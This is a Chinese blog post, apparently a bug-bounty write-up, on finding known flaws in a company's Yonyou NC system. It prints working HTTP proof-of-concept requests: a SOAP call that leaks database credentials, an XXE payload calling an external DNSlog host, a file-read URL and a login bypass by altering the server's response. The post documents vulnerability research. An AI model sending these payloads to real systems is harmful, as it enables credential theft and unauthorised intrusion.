0x01 前言
在某天我打点CNVD资产的时候,我的WX响了起来,收到一个不明文件,后面收到备注后,我就懂了
筛选后找一下对应企业的资产信息,资产并不多,主页和OA以及yongyou NC,OA为最新版,但是NC很眼熟,给人一种有着成熟洞的感觉
发现的几个漏洞都是历史漏洞,对于个人技术而言没有什么创新性,但是就当继续学习吧,对此系统的漏洞产生一个新的认知
* 文中的工具及文章仅供参考,请勿做违法使用,后果自负
0x02 剧情演绎
已知WEB系统类型,剩下的就交给工具了,术业有专攻,咱们能被动手机就不做主动,能半扫就不漏扫,万一给系统干崩咯,就不是挖洞的事了
使用专项工具进行检测一下,获取到了此版本的历史漏洞名称,一一进行复测
相关OA漏洞工具,关注公众号回复 '20240305' 获取
既然给出了相关的接口和漏洞名称,则利用方法,证明漏洞存在,上交即可
1. ActionHandlerServlet_serial
这个我本想传马,但是一直传不上去,不知道是有waf的存在还是权限太小,只能使用DNSLOG证明一下漏洞存在
2. wsncapplet_info
这个没什么重要的,也就是个低危,在访问xxx.com/jsp/wsncapplet.jsp后会下载一个ncws.jnlp文件,文件存放着一些系统信息
3. NCFindWeb_FileRead
yongyou nc任意文件读取漏洞
xxx.com/NCFindWeb?service=IPreAlertConfigService&filename=
说是任意文件读取,但是往上级读取,一直读不到,只能读下级递归目录文件
本想着通过文件上传到已知目录,但是传不上去
4. PortalSESInitToolService_info 接口泄露
这个是用友NC的接口泄露,一般存在老版本中,会泄露数据库的账号密码等
xxx.com/uapws/service
通过以下POC获取到使用的Oracle数据库信息及账号密码
POST /uapws/service/nc.itf.ses.inittool.PortalSESInitToolService HTTP/1.1
Host: xxx.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0000BEtj3PKIkEuQEl3QgSG0m_s:ncMem01; PHPSESSID=2udllet2aacl7sipggrivh1ao0; Hm_lvt_3f0e2ef8a35eee0e88de480534cd2f83=1709442601,1709559502; Hm_lpvt_3f0e2ef8a35eee0e88de480534cd2f83=1709559502
Connection: close
Content-Length: 237
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:por="http://inittool.ses.itf.nc/PortalSESInitToolService"> <soapenv:Header/> <soapenv:Body> <por:getDataSourceConfig/> </soapenv:Body></soapenv:Envelope
5. IUpdateService_xxe漏洞
有一个直接性的POC直接DNSLOG,但是我访问一直超时,不知道为什么
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
然后我正苦思冥想中,想到了老版本的NC可以绕过登录验证,于是就访问用友NC的后台,即WS console,但是没想到是弱口令
登录验证绕过:就是登录后修改返回包,正常情况下密码错误返回包是0,正确则是1,把0改为1则登录成功
登录成功后,找到图中以下路径进行发送POC中的包内容
其次就是使用以下payload直接GET访问dnslog地址
https://xxx.com/uapws/service/nc.uap.oba.update.IUpdateService?xsd=http://xxx.dnslog.cn
0x03 总结
最近确实挺忙活,然后挖洞的情况下也漫无目的的去挖,本身讲究的就是可验证性,我有三不:不对系统造成危害,不碰数据,不碰金额,其次就是需要学的还有很多,这次其实就是个巧合,最后交玩收工,相当于没费劲捡洞了!
原文始发于微信公众号(州弟学安全):漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论